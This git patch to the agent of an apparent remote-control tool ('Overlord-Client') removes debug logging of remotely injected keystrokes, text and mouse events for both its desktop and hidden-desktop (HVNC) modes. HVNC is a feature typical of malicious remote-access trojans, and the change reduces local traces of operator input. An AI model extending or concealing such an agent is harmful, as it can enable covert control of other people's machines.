From 22fad89699a5ca3eb2656bc838b33129e31bf1bd Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 6 Apr 2026 18:07:54 -0500 Subject: [PATCH] remove printing from these because it's unneeded for debugging at this point --- Overlord-Client/cmd/agent/handlers/command.go | 5 ----- Overlord-Client/cmd/agent/handlers/dispatcher.go | 10 +++++++++- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 6c082b8..45f3412 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -813,7 +813,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } if vk := keyCodeToVK(code); vk != 0 { - log.Printf("desktop: key down code=%s vk=%d", code, vk) sendKeyDown(vk) } sendCommandResultAsync(env, cmdID) @@ -831,7 +830,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } if vk := keyCodeToVK(code); vk != 0 { - log.Printf("desktop: key up code=%s vk=%d", code, vk) sendKeyUp(vk) } sendCommandResultAsync(env, cmdID) @@ -849,7 +847,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } if text != "" { - log.Printf("desktop: text input len=%d", len(text)) sendTextInput(text) } sendCommandResultAsync(env, cmdID) @@ -1320,7 +1317,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } if vk := keyCodeToVKHVNC(code); vk != 0 { - log.Printf("hvnc: key down code=%s vk=%d", code, vk) enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk}) } return nil @@ -1337,7 +1333,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } if vk := keyCodeToVKHVNC(code); vk != 0 { - log.Printf("hvnc: key up code=%s vk=%d", code, vk) enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk}) } return nil diff --git a/Overlord-Client/cmd/agent/handlers/dispatcher.go b/Overlord-Client/cmd/agent/handlers/dispatcher.go index dbf2003..77289ed 100644 --- a/Overlord-Client/cmd/agent/handlers/dispatcher.go +++ b/Overlord-Client/cmd/agent/handlers/dispatcher.go @@ -38,7 +38,15 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface case "pong": return HandlePong(ctx, d.Env, envelope) case "command": - log.Printf("dispatcher: handling command type=%s", envelope["commandType"]) + cmdType, _ := envelope["commandType"].(string) + switch cmdType { + case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", + "desktop_key_down", "desktop_key_up", "desktop_text", + "hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up", + "hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up": + default: + log.Printf("dispatcher: handling command type=%s", cmdType) + } return HandleCommand(ctx, d.Env, envelope) case "plugin_event": return HandlePluginEvent(ctx, d.Env, envelope)